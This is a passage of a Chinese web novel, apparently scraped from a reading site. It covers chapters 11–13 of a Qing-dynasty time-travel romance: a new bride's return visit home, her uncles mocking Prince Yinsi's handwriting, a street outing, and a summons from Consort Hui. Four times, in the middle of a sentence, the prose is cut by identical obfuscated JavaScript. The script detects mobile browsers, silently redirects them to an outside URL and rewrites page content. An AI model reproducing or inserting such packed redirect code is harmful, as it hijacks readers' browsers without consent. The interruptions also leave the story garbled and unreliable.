安郡王福晋叹了口气,罢了罢了。自己家的孩子,慢慢教。 “早有听闻,宫里的荣妃娘娘不长脑子,能坐上妃位,全靠运气。进宫的早,又生了一双好儿女。” 高奇奇小声补充:“长的也挺好看。” 随着安郡王福晋一记眼刀甩过来,她忙道:“但是,不如二舅母万分之一。” “嘴甜倒是你的优点。”安郡王福晋怒气还没升起来,又被哄的消下去。 高奇奇憨憨一笑:“二舅母,您给我解释解释吧。” “你也知道荣妃没有给八贝勒纳妾的权利和资格,你和八贝勒作为晚辈,本就不好和长辈有冲突。后院的事情,作为皇子嫡福晋,理应贤惠大方。在为夫纳妾一事上,明面上你不能有任何抵触。所以,这拒绝为八贝勒纳妾的人,最好的就应该是惠妃或是卫嫔。” “卫嫔虽是八贝勒生母,但是她位份低于荣妃,没有底气,不好说话,也能理解。那么惠妃呢?她是八贝勒的养母,又是四妃之首。不论是哪种身份,都能轻易的压制住荣妃,驳回那无理的要求。” “你是新妇,本该就像今日陪我和你舅舅吃饭时一样,安静乖巧的少说话,做好贞静娴雅就够了。”安郡王福晋语重心长道。 高奇奇像是漏了气的皮球:“我还以为自己很厉害呢。” 安郡王福晋嗤笑道:“就你这脑子?天真单蠢。把你给卖了,你都要乐呵呵的帮着数钱。” 高奇奇捂着脑袋,道:“别骂了别骂了,知道错了。” 她呐呐不已:“可是,贝勒爷说,惠额娘对他很好。” 安郡王福晋冷笑:“对养子好,和对儿媳好不好,有什么关联?可怜那大福晋,嫁给直郡王后,好好的一个体格健壮的姑娘,年年生,连生五胎,拼出来个小儿子,年纪轻轻,香消玉殒了。” “这值当什么?小阿哥就罢了,如今是直郡王的独苗苗,肯定护着跟眼珠子似的。那几位小格格呢?在后院里没娘的女孩儿,是那么好长大的?你可别学你那大嫂。”安郡王福晋真的是掏心掏肺说话了。 看着外甥女听了自己的话后,一副傻愣愣的模样,安郡王福晋又有些心疼。 她反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656371|172879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思到,是不是自己想的太深,太偏激了。 毕竟,她听到的只是外甥女的转述。这有点儿影响她的判断。 “当然,也有可能是我误会了惠妃。以后日子还长,你且自己用着点心,慢慢去看。但是,有一点你要记住,自己的身体才是最重要的。不要为情抑郁,也不要为了生子,喝一些乱七八糟的药。是药三分毒,你的身体打小调养很健康。缘分到了,子嗣自然会来。” “八贝勒的年纪也不小了,成年皇子在宫里住不了几年。等你们搬出宫以后,不论是惠妃还是卫嫔,都为难不了你。你关起门来当家作主,日子怎么舒心怎么过。”安郡王福晋道。 出宫建府,就像是吊在驴子前面的一根胡萝卜,看着它,每天拉磨都不觉得苦了。 “八贝勒对你好不好?”安郡王福晋问完这话,莫名觉得自己是多嘴一问。 这场婚事里,最让人放心的,就只有八贝勒。 “很好的。他护着我,尊敬我,最要紧的是,他库房的钥匙成婚第二天就交给我了。”高奇奇露出浅浅的笑容。 饶是从今日一早,就看出八贝勒对外甥女的心意,安郡王福晋还是不免吃惊。 哪怕是现在,她和安郡王的库房,都是分开的。从没有交钥匙的一说。 不仅是安王府,到外面打听一圈,也没有这样的。 “你啊,傻人有傻福。八贝勒用心待你,这就够了。若他再不好,二舅母真该后悔,没有为你拒了皇上的赐婚。”安郡王福晋道。 高奇奇展颜一笑,在安郡王福晋怀里又蹭了蹭。 “您不是说,皇上赐婚,圣恩浩荡,不可辜负吗?拒婚是拒不了的,要掉脑袋的。”高奇奇煞风景道。 “二舅母,有您真好。您放心,别的不能保证,但我肯定不会给自己委屈受的。若是婆婆对我好,我就对她们好。若是她们待我不好,我做到面上孝顺,挑不出毛病就是。您也说了,我嘴甜,惯会哄人的。”高奇奇道。 “这个倒是。小嘴抹了蜜似的,总是把人哄的七荤八素,找不着北。”安郡王福晋笑道。 高奇奇直起身子,怀念的看着她住了三年的屋子。 三年前还一片陌生的院子,现在却成了她最熟悉的地方。 “二舅母,这个院子您分给四舅母家的二妹妹住吧。她一直馋我这院子好久了,反正以后我也不能回来住,空着落灰,还不如给自家姊妹住个几年,让她开心。”高奇奇道。 安郡王福晋柳眉竖起,骂道:“就你瞎大方。不给,你的就是你的。哪怕不能回来过夜,以后出宫建府了,偶尔来安王府串门时,中午还不能小憩一会儿?安王府的银子够花,再不济还有我的嫁妆钱,不至于一个院子养不起。” “不给不给,二舅母别生气,我就那么假装大度的一说,我也舍不得的。”高奇奇道。 安郡王福晋轻哼一声,她轻声道:“大度没什么好的。” “其实,二舅母也会偶尔到我院子里去坐一坐的,对吧?”高奇奇试探道。 安郡王福晋眼神慌了慌,她拒不承认。 思念外甥女到夜不能寐,跑去她出嫁前的院子里,在院子里看月亮这种事,万万不能说出口。 太没有长辈的稳重了。 高奇奇眼睛笑弯弯的,她得到了答案,心满意足。 “二舅母不要否认,想念外甥女又不是什么丢人的事情。我在宫里也总想着二舅母啊。”高奇奇甜丝丝的道。 11. 第十一章 前厅里,安郡王和几个舅舅,三方会审一般,神情严肃的盯着胤禩。 胤禩被四面围绕,格外的弱小无助。 胤禩是皇子,安郡王和几位舅舅,也是王室宗亲。 都是爱新觉罗家的血脉,没有谁怵了谁的。 在此时此刻,还是长辈为尊。 要说郭络罗·妙奇的婚事,安王府原本看中的是五贝勒。 那个时候的五贝勒,还是五阿哥,皇子们都没有封爵。 太后抚养、宜妃长子、性情随和,五贝勒的出身、性格皆没有短板。 年纪比郭络罗·妙奇大两岁,年龄也合适。又有太后和安王府的关系在,面子里子全都有。 奈何,随着索额图势力的倒台和安亲王的逝世,安王府势力从如日中天,急转直下。 太后和安王府之间,关于五贝勒的婚事,没了心照不宣的默契。 后来皇上给五贝勒赐了婚,选了个家世不显,但是品性宽和的嫡福晋。 安王府更是彻底没了想法。 他们安王府的姑娘,不可能当侧福晋。 谁知圣心难测,皇上突然指婚了八阿哥。 安郡王原是看不上胤禩的。 撇去已经被指婚的五阿哥,和外甥女年纪相仿的,还有九阿哥、十阿哥。 尤其是十阿哥,母族是钮祜禄氏,满八旗中最有底蕴的大姓。皇子之中,除了太子之外,就属他身份最贵重。 怎么偏偏就指了嫔主之子,母族没有存在感的八阿哥。 皇上挑挑拣拣,把适婚年龄的皇子中,母族最弱的那个选给安王府。在安郡王看来,这是一种羞辱。 可他不仅不能生气,还要叩谢天恩,感谢主子洪恩,喜之不尽。 订婚宴一办,开弓的箭回不了头。 安郡王再仔细一看八贝勒,怎么瞧怎么好。 母族势弱好啊,这样才能和安王府互为依持,休戚与共。 生母位份低更好啊,这就没法儿弹压自家外甥女,不能对儿媳指手画脚。 最最要紧的是,这人品相貌,才华本事,还有在朝堂上的好人缘,真是让他安王府捡到宝了。 昨日的宝,今日的草。 胤禩在不知情的状况下,在安郡王心中的地位,是起起伏伏,伏伏起起。 安郡王皮笑肉不笑的看着胤禩,其他几位舅舅直接虎着脸。 “古语有云,字如其人。我还未见过八贝勒的字,不如八贝勒移步书房,写一幅字,让我和你几位舅舅们,赏鉴赏鉴。”安郡王道。 胤禩提起的心,瞬间坠入谷底。 完了。 其他几位舅舅,心里也道:完了。 二哥一上来就玩这么大吗?不给外甥女婿留点面子? 宫里八阿哥的字,皇室宗亲、天子近臣皆有耳闻。 堪称沉疴痼疾。 “二哥,你看外甥女婿今天头一遭登门,咱们先坐着聊聊天,或是下下棋。这写字磨墨慢的很,又麻烦,不如下回等外甥女婿过来时再写。”四舅舅道。 胤禩眼睛亮了亮,感激的看向四舅舅。 四舅舅微微一笑,收下感激。 他不是为八贝勒说话,而是为了自家外甥女。二哥唱了黑脸,他得唱白脸。 安郡王道:“不慢,不麻烦,我已经让人在书房摆好笔墨纸砚。” 话说到这一步,只能跟上。 胤禩站起身,温和有礼道:“不敢瞒骗二舅舅,书法一道确实是胤禩的短板。二舅舅有令,不敢不从。但请舅舅们看完胤禩的字后,不要恼怒。” 他汗阿玛常在看了他写的字后,气的拍桌子咆哮如雷。 有一回,紫禁城上空飞过的乌鸦,羽毛都被吓落了两根。 “不会不会。都是自家人,真要是写的不好,我们教一教你就是。”四舅舅和气道。 事实证明,为难别人就是为难自己。 书桌旁,安郡王看了一眼桌上刚写好的字,墨迹未干,还散发着淡淡的松香味。 辣眼睛,真的是多看一眼,都是对眼睛的伤害。 “还请二舅舅指点。”胤禩见安郡王扭过头,不愿多看。 他故意把宣纸捧起来,非要举在安郡王眼前。 “行了行了,放下吧。你这个字,实在是……”安郡王想了半天:“实在是无从提点。” 四舅舅张扬的哈哈大笑,丝毫不顾及安郡王的面子。 五舅舅和六舅舅也背过身去,对着墙捂嘴偷笑。 该,谁让二哥要考校外甥女婿的书法。 对于他们这些对书法有追求的人来说,看一回丑字,能恶心的三天吃不下饭。到了夜里,都要惊醒给自己一个耳刮子,让自己眼睛乱看。 “二哥,虽然外甥女婿的字,有待进步。不过,他的心是诚的。写的这诗,竟然是我年轻的时候写的。用心了。”五舅舅把宣纸接过来,仔细看了一眼。 就一眼,不能多看第二眼,眼睛受不住这刺激。 笔墨连贯,下笔时不假思索,不论是记性好,还是特意反复背诵,总之是熟记在心的。 “既然你喜欢,你收着去。”安郡王没好气道。 “我收着就我收着。不仅收好了,我还让人把它给裱起来,就挂在我的书斋里。”五舅舅也是个促狭的。 书斋里人来人往的,这是给胤禩当众处刑啊。 胤禩忙作揖求饶:“舅舅们别恼了,并非胤禩有意为之,实在是用心了,但是手不听使唤。等我回头多练一阵子字,再请舅舅们考校。今日这张纸,还是烧了吧。” “烧什么,你认真写的字,烧了可惜。你这字啊,看着看着也就习惯了。比你福晋写的是好上许多的。我教妙奇写字时,才是头疼。”五舅舅道。 书房里,一片寂静。 显然这句话,让他们想到了一些痛苦的过往,十分不美好。 “和妙奇比的话,确实这字又可圈可点,能看得下去了。”安郡王道。 调侃自家外甥女,笑声不用刻意忍着。 等笑的畅快了以后,安郡王拍拍胤禩的肩膀,态度亲近许多。 “皇上这场赐婚赐的妙。你和妙奇合该是夫妻,天作之合,天生一对。”安郡王道。 五舅舅促狭的道:“相貌品行般配,不难得。这写的字啊,也十分般配,才是真的难得。” 高奇奇不知道,自己的好舅舅们背着她,将她的老底抖落个干净。 她还在暗暗估算着,时间差不多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656372|172879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,她要出马解救胤禩去。 恶狼环绕,咄咄逼人,一只小白羊被狼群盯着,也太可怜了。 “二舅母,咱们去前厅看看舅舅们怎么考验贝勒爷的吧。”高奇奇道。 安郡王福晋经不住外甥女撒娇,也担心安郡王和小叔子们没轻没重的,吓唬坏了新女婿。 “别摇了,胳膊都要被你摇散架了。走吧走吧,真是拿你没办法。”安郡王福晋道。 高奇奇嘻嘻笑着。 两人到了前厅,空荡荡的,只有下人在洒扫。把人叫过来一问,才知道安郡王和胤禩几人去了书房。 于是,高奇奇和安郡王福晋又去了书房。 得亏回门不用穿厚底靴子,要不然高奇奇的脚,今天又要受罪。 安王府实在是太大了。 “福晋和妙奇过来了?来,喝茶。胤禩泡茶的手艺,很是不错。”安郡王道。 书房的门一推开,胤禩正提着茶壶,给舅舅们倒茶。 气氛十分祥和,反而高奇奇和安郡王福晋乍然过来,像是打扰了他们。 “二舅母,福晋。”胤禩笑着打着招呼。 高奇奇给舅舅们行完礼,扶着安郡王福晋坐下,然后坐到胤禩旁边。 “二舅母喜欢喝普洱。”高奇奇告诉胤禩道。 “我在这儿,还用的着你来照顾你二舅母?你二舅母最喜欢喝我泡的普洱茶。”安郡王望向安郡王福晋,两人夫妻多年,感情还是那么的好。 “胤禩,你坐下吧。也尝尝我泡茶的手艺。妙奇这孩子,随了她舅母的口味,茶中最喜欢喝的就是普洱,其次是茉莉花茶。”安郡王道。 安郡王专注洗茶泡茶,高奇奇悄悄问道:“舅舅们还算和善吗?” 安郡王手中动作暂停,侧耳倾听, “舅舅们待我很好,教了我许多东西。”胤禩道。 安郡王若无其事的拿起热水,倒进茶壶里,嘴角的笑容却十分满意。 热水冲泡在茶叶上,普洱的蜜香瞬间被激发出来。 高奇奇吸吸鼻子,立即道:“二舅舅,这个茶饼好,分一半给我带走吧。” 安郡王和安郡王福晋不禁莞尔一笑。 “知道了,早就给你留了一份,一会儿你回去时带上。真是个土匪性子,我这儿有什么好东西,都躲不开你的眼睛。”安郡王道。 “二舅舅最疼的我嘛。”高奇奇撒娇道。 安郡王自己没有女儿,就把外甥女当女儿养。 闺女一撒娇,当爹的那不肯定是一点儿原则没有。 给给给,什么好东西都打包起来,让闺女带走。 天下无不散之筵席,高奇奇在安王府度过了大半天快乐的时光,依依不舍的和长辈们告别。 她的眼睛红红的,向门外走的脚步舍不得挪动。 胤禩捏了捏她的手,安慰道:“等过两年,我们住到宫外来,我一定常陪福晋回门。” 安郡王福晋也哄着她道:“别耽搁时间了,趁着天色还早,早些回宫去,还能休息休息。我有空就递牌子入宫,能见面的机会不少。” “你们别哄我哦。我记下了,当真的。”高奇奇道。 胤禩柔声道:“不哄你,本就是这么打算的。” 12. 第十二章 马车车轮滚动,胤禩大大的松了一口气。 高奇奇好笑不已:“我的舅舅们就那么吓人?” “三司会审,也不过如此。刚去书房里的时候,我大气都不敢喘一下,生怕哪里不对,让舅舅们不满意。”胤禩道。 高奇奇道:“这倒是和上回我们去延禧宫行礼时,我的感受一样。 胤禩道:“我后来仔细想了想,那天未必没有惠额娘的默许。我拒了惠额娘给的宫女,到底是扫了她的颜面。只是,我以为惠额娘恼我就好,没想到连累了你。枉我还沾沾自喜的,觉得自己做的很好。” 高奇奇没料到胤禩会突然反思。 既然胤禩诚恳相待,她也不隐瞒。 “二舅母问我在宫中受了委屈没有,我就与二舅母说了荣娘娘的话。二舅母让我乖巧一些,别再惹惠额娘和额娘不开心。”高奇奇道。 胤禩想摸摸她的头,但是头发盘起,梳成旗头,没有可以下手的地方。 他只能放下手:“不用乖巧,你已经很好了。再乖巧,就是受委屈了。今日见了舅舅、舅母们,我更加知道你在安王府有多受宠爱。你嫁给了我,我旁的不能保证,却一定要做到,让你不比在娘家过的差。” “惠额娘和额娘以后若是向你提起给人,你不用答应,全推到我身上去,就说一切听我的,你不敢私自决定。回头我去拒绝。”胤禩道。 胤禩笑道:“婆媳不和,是丈夫无能。奇奇说的话,我都记得。” 高奇奇一时不知该说什么,她张开手臂,投入胤禩怀中,给他一个大大的拥抱。 “你最好了。”高奇奇道:“我也会对你好的。 胤禩笑容更深,有这句话就够了。 “我不要你对我好,我只要你嫁给我以后,每天的日子还是开开心心的。”胤禩道。 “对了,我看到二舅舅身边的小厮,往马车里塞了个木匣子。喏,就是那个。那是二舅舅特意给你的吗?”高奇奇指着放在另一边坐垫上的东西问道。 胤禩一手搂着高奇奇,不愿意放开,另一只手伸长胳膊去够东西。 单手将不轻的木匣子拿过来,胤禩无形间秀了一把好力气。 木匣子并不是很大,但是看着就很沉。 高奇奇好奇的探过头,用手指敲了敲木匣子的盖子。 “会是什么呢?难道是什么绝密信件?我能不能看?”高奇奇道。 胤禩失笑不已,道:“我和二舅舅到哪里去接触到绝密信件。你要不要猜猜?” 高奇奇拒绝道:“不猜。就在面前,我打开不就能一看究竟了。” 这话说的有道理。 胤禩脑海中浮现起安郡王叮嘱他的话:妙奇这孩子性情直爽,为人真诚善良,但是也急性子。做事情风风火火的,有时候会冲动。在家里的时候,闯祸也闯不了大祸。现在嫁到了宫里,还要请你多担待些。她真要做错了事,你恼了她,就派人告诉我,我接她回家。 字字句句,都是疼爱外甥女之心。 木匣子打开,里面装着的几本名家字帖。 高奇奇拿起一本,小心翼翼的翻看着。 “二舅舅把压箱底收藏的字帖,都送给你了!你是做了什么,让二舅舅这样喜欢?我和大表弟都向二舅舅讨要过,结果,你是知道的,我们都没有得到。”高奇奇稀罕不已。 这可是名家字帖诶,留着传宗接代,万一后代家道中落了,能卖好多好多钱的。 有这样的想法,难怪安郡王舍不得把字帖送她。 胤禩道:“二舅舅大约不是因为喜欢我,才送我字帖。而是,实在看不下我写的字。奇奇喜欢名家字帖?我的书房里有不少,都是汗阿玛赐下的。奇奇要的话,都给你。” 康熙给胤禩送了许多字帖,就是想让他多练字。 但是,胤禩宁愿找人代练,也不自己写。哪怕被发现,告到了康熙面前,他照样不改。 不是一家人,不进一家门。 高奇奇对练字的态度,和胤禩一模一样。 “给我可以,但是我肯定把它们锁在箱子里,不会多看,更不会用来临摹练字。”高奇奇道。 “我与奇奇不谋而合,也是这么想的。可惜了二舅舅的一番苦心。”胤禩眼睛一亮,道。 “不可惜的。我们收下了,领了心意,这就没有辜负二舅舅的心意。”高奇奇道。 想着安郡王送字帖的用意,高奇奇眼珠子咕噜咕噜的灵活转着。 “投桃报李。如果二舅舅问你,字帖你有没有用,你就说我见猎心喜,把字帖都抢过去了,只给你留了个空盒子。”高奇奇道。 “多谢福晋。福晋舍身相救,胤禩必有重谢。”胤禩郑重感谢。 高奇奇皱皱眉头,好耳熟的话。 “胤禩,你学我说话!”高奇奇道。 胤禩哈哈笑出声,两人在马车里笑的东倒西歪。 马车忽然停下,估摸着时间,不应当是到了东华门。这才起步没多久,最多是走了两条街的距离。 “爷,到了。”驾车的马夫道。 胤禩掀开车帘,嘈杂但是热闹的声音,一下子从外头涌进来。 “冰糖葫芦咯,好吃不酸的冰糖葫芦,两文钱一串。山楂又大又红,卖冰糖葫芦咯。” “你这青菜多少钱一把?我常在你这摊子买菜,价格再便宜些。小本生意?行行行,我也不还价,这把葱拿作添头了。” “刚出炉的芝麻烧饼,糖心咸口都有,走过路过看一看、尝一尝啊,一文钱两个烧饼,吃的肚子暖和和的。” 街道上的叫卖声,是生活在大宅内院的人,很少能接触到的。 高奇奇不可置信的看向胤禩:“这里是?” “福晋下来看看,不就知道了?我说要谢福晋的,自然要说到做到。”胤禩道。 高奇奇掀开车窗窗帘一角,入目的景象,让声音变得具像化。 好热闹的街道,好鲜活的生活气息。 “可以吗?我们真的可以去街上逛一逛?”高奇奇期待的求证道。 她握紧了拳头,打算就算胤禩说不,她也要冲下马车,感受一下高墙大院外面的自由。 胤禩踩着矮凳先下了马车,站在马车边,将手递进马车内。 “真的可以的。”胤禩点头确认道:“不过,今天时间不多,只够在这一条街上逛一逛,就得赶回去。” 高奇奇兴奋的直点头:“别说是逛一条街了,就是逛一间铺子,也是开心的。” “从订婚宴之后,我都好久没出门了,算算时间有将近一年。我还以为,离能够出门逛街,还要再坚持个几年呢。”高奇奇道。 胤禩想了想,道:“不至于那么久。我再想想办法,找机会还带你出宫逛逛。” 高奇奇理智道:“还是不了。今天能感受一下京城大街上的热闹,已经是意外之喜。就靠这一天,我能撑到咱们搬出宫。” “明日之事明日再说。对面有个金饰铺子,听说在京城里很有名。福晋妆奁里的首饰还是少了点,我给福晋再添一些。”胤禩道。 这人青天白日,尽睁眼说瞎话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656373|172879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高奇奇嫁妆里的首饰,零零碎碎几百件,任谁看了都不能说一句少。 但是,漂亮的首饰,没人会嫌多。 “走,带我去见识见识。”高奇奇道。 两人兴冲冲的进了银楼,失望而归。 站在银楼外,高奇奇深深的叹了口气。 “好看的要等,不用等的看不上眼。这铺子,不逛也罢。”高奇奇道。 高奇奇失落不到一秒钟,又振奋起来。 “胤禩,我想吃冰糖葫芦。”高奇奇望着从面前走过又走来的冰糖葫芦,目不转睛。 “诶,少爷、夫人要吃冰糖葫芦吗?小的家的冰糖葫芦,是祖传秘方。选的山楂都是从百年山楂树上摘下来的,果子又大又甜。您看,这红通通的,多漂亮。”叫卖的商贩,都有一双好耳朵。 明明人走到十米开外了,却能敏锐的捕捉到那声“冰糖葫芦”,然后飞快的退回来。 高奇奇看着扛着稻草架子面容稚嫩的少年,轻笑一声。 “你这小子,嘴皮子倒是利索,就是说话不真诚。谁家冰糖葫芦还要秘方的?百年的山楂树,莫不是你自家有山头?再说了,这山楂哪有是甜的?我若是尝了味道酸,可是不给钱的。”高奇奇一通打趣。 原本像一颗笔直的小白杨的少年,头越来越低,腰也越来越弯。 高奇奇想着,难道她的话,这么发人深省?让这小孩儿都感到愧疚了? “贵主儿,是小的说了大话。您若不嫌弃,小的将这些冰糖葫芦都献给您,向您赔罪。”少年低下头,声音嗫嚅发颤,带着哭腔。 这位夫人一看打扮,就知道是旗人。 旗人尊贵,尤其这位夫人的穿戴首饰,富贵奢华,不是大官的夫人,就是宗室福晋。 他这样的贫民,就算是被贵人打死,也没人为他伸张。 草席一卷,爹娘连他的尸首都收不着。 高奇奇心口刺刺的疼,她忘了,现代的那些寻常打趣话儿,在这里是不能说的。 “你别怕,我只是看你这小孩儿,年纪小小就出来卖东西,还口齿伶俐不怕生的,就逗逗你。你家做的冰糖葫芦,确实不错,价格也合适,并不是以次充好。” “这架子上的冰糖葫芦,我全要了。你算算多少钱。”高奇奇声音说的又轻又缓,生怕吓到了糖葫芦少年。 糖葫芦少年低着头,直摇脑袋:“真不要钱的,送给夫人。” “天底下哪里有买东西不给钱的道理。我若是真的这么做了,还要不要名声了?既然你不算,我就看着给你钱。”高奇奇道。 “初一,拿一吊钱给这位小哥儿。”高奇奇道。 糖葫芦少年慌忙的摆手:“贵主儿,这太多了。小的这个稻草架上,总共就二十来串冰糖葫芦。” 一吊钱是一千文,够买五百串冰糖葫芦了。 高奇奇道:“谁让你不算的。我说话不爱改口,给你你就收着。多了的,当作是我刚才吓到你的补偿。” 糖葫芦少年还要拒绝,钱当然是好东西,可是他不敢收。 初一自己口袋里,没装那么多铜板。一千文好几斤重,带着不方便。好在阎进带了,几人凑了凑,数出一千文,放到糖葫芦少年手里。 “小哥别推辞了。我家福晋心善,你若觉得拿的多了,回去后多念我家福晋几声好,为她积积福。把钱收好了,趁着天亮街上人多,赶紧回去吧。”初一道。 糖葫芦少年眼里包着泪,将钱放进里衣兜里。 他没有预兆的突然下跪,磕了响个头,转身就跑。 13. 第十三章 来到大清以后,高奇奇没少磕过头,也没少被别人磕过头。 但是,没有一回,有此刻这般震撼。 胤禩握上高奇奇的手,轻轻捏了捏她的手心,好让她回神。 “福晋今天当了回救命菩萨。这一个头,他叩的值。”胤禩道。 “一吊钱,一两银子,就救了命吗?就值了吗?”高奇奇喃喃道。 胤禩以为她是不知民间疾苦,他道:“一吊钱,在京城能买一百五十斤品质好的精米。若是换成糙米,则能买的更多。福晋买了他的东西,给了他一家人半年的食粮,如何不算救命。” “瞧他的模样,十多岁出头,口齿伶俐,一口京话,规矩也会,应当是受过不错教导。但是,还是个孩子,却要走街串巷的卖东西。想必是家道中落,家中长辈遇到事了,无法养家,才让孩子出来赚钱,养家糊口。”胤禩分析道。 “这一吊钱对你我来说虽不多,但却能帮他家度过一些困境时日。” 在胤禩缓缓的说话声中,高奇奇激荡的情绪,平静下来。 “胤禩,你能不能找人去打听一下那个孩子的家庭情况。若是因为天有不测风云,家里遇到困难,能帮则帮一些。银子我有。”高奇奇道。 胤禩接过阎进递过来的,最大最好的那串冰糖葫芦。 “福晋先尝尝这串冰糖葫芦。”胤禩道。 高奇奇就着胤禩的手,咬了一口红色的山楂果。 糖稀的焦糖香,山楂的酸,杂糅的口感,让人口齿生津。 “也许他家真有祖传秘方,这是我吃到过最好吃的冰糖葫芦。”高奇奇直接把一整串冰糖葫芦拿到手里。 胤禩道:“福晋觉得好吃,那就是他的功劳了。人我来打听,银子不用福晋出。真要是寒门出贵子,我资助他一笔借银,于我也是益事。” “好。你也吃,是真的好吃的。”高奇奇强烈推荐道。 胤禩眼巴巴的看着高奇奇的手,高奇奇抿嘴一笑,把手里的冰糖葫芦,横着放到他嘴边:“只许吃一颗啊。那么多串冰糖葫芦呢,非要抢我这一串。难道我吃过的,就香一些?” 胤禩微微低头,咬下一整个红果子,在嘴中咀嚼。 “嗯,好吃。”胤禩的脸,被酸的皱成一团。 高奇奇笑的直捂肚子:“原来你不能吃酸的啊,不能吃就快吐出来。我记下了,下回会注意的。” 胤禩摇摇头,飞快的嚼了嚼,把山楂吞到肚子里。 “福晋喂的,不吐。”胤禩道。 高奇奇和胤禩共吃一串冰糖葫芦,还有二十多串,分给了随行的仆从们。 宫外的吃食,不好带进宫里,索性见者有份,吃个新鲜。 初一、十五一人一串,吃的很是开心。 阎进攥着冰糖葫芦的棍子,盯了它好久,才咬下一口。 真酸啊,酸的人想流眼泪,酸的人想家了。 以防再发生糖葫芦少年的事情,高奇奇自觉的管好嘴,不再问东问西,生怕那句话把人给吓着。 看到好看好玩的东西,付钱买买买就好。 不一会儿,街头巷尾的摊贩们,就接到消息。街上来了一对贵人,财神爷一般,十分大方。只有手里的东西足够好,又有趣,尽管送到贵人跟前。贵人满意了,银钱不会少的。 高奇奇再回到马车上时,左手一个糖画,右手一个一对糖人,看起来两只手暂时都不得空闲。 等她坐下,再看向随后进来的胤禩。 手里拿的、胳膊上挎着的,东西更多。 “这是真正的满载而归了。”高奇奇道。 胤禩把东西放在脚边,按了按胳膊。 “宫外有趣的玩意儿,比宫里多。”胤禩道。 “这是当然了。民间才有烟火气,处处有生趣。”高奇奇道。 “快咬一大口,甜甜嘴。马车里比外面热,糖画得快点儿吃,要不就化了。”高奇奇熟练的将糖画递到胤禩嘴边。 一路上,她不知道给他喂了多少吃的,习惯成自然。 胤禩配合的咬了一大口:“还是这个好。” 纯甜不酸。 “喜欢吃就都给你。”高奇奇索性把糖画塞给胤禩。 “我们买的面具放在哪个包袱里?让我戴戴看。我挑的那个青面獠牙的,可吓人了。”高奇奇道。 马车在道路上行驶,百姓们自觉的离马车远远的。 对达官贵人的畏惧,深入他们的骨髓。 远远避开,就不会遭祸。这是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656374|172879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们祖祖辈辈传下来的生存智慧。 马车再次停下,这下是真的到了紫禁城的东华门。 高奇奇一动不想动:“真不想回去呢。” 胤禩先解下自己脸上的面具,再倾身过去,解开高奇奇面具的系绳。 “等回去后,再继续玩儿。”胤禩哄道。 下了马车,两人步行进宫。 刚走过东华门,高奇奇脸色一变,心头警铃大作。 “胤禩,你看前边站的那个太监,是不是有些面熟。我好像上回在延禧宫看见过他。”高奇奇道。 胤禩看过去,脸色也变了变:“是惠额娘宫里的王公公。” “奴才向八贝勒、八福晋问安。惠妃娘娘命奴才在这儿候着,等您们一回宫,好请您们直接去延禧宫。”贴着墙角站着的王太监,面带殷勤笑容的走过来。 高奇奇和胤禩对视一眼,来者不善啊。 宫外逛街的快乐,荡然无存。 皇宫,是一个压抑的地方。 “王公公,可是惠额娘有事要吩咐?”胤禩调整神色,敛容问道。 王太监和气道:“八贝勒不用担心,延禧宫并没有什么事情。只是,娘娘有些日子没见到贝勒爷和福晋,约是想您们了。” “娘娘约是末时三刻派奴才出来,如今已到了申时,八贝勒和八福晋可能要走的快些。” 话暗示的这么明显,连高奇奇都能听出来。 胤禩道:“原是我们的过错,我在安王府多留了会儿,连累福晋回来晚了,让惠额娘久等。劳烦公公在前面领路。” 至于途中下马车,在街上逛了一圈的事,不提不会有人知道。 “贝勒爷哪儿的话,奴才当不得您的一句劳烦。那奴才就斗胆走在您和福晋前面了。”王太监道。 王太监往前面跨了几步,贴着墙角走路,不似高奇奇和胤禩走在道路中间。 望着自觉拉开距离的王太监背影,高奇奇感慨道:“胤禩,善者不来,来者不善啊。” 胤禩对她安抚的笑笑:“我在马车上时说的话,你还记得吗?” 高奇奇扬唇笑道:“忘不了,遇事就推给你,我只是听夫婿话的新妇。” “嗯。”胤禩道:“万事我在。” 14. 第十四章 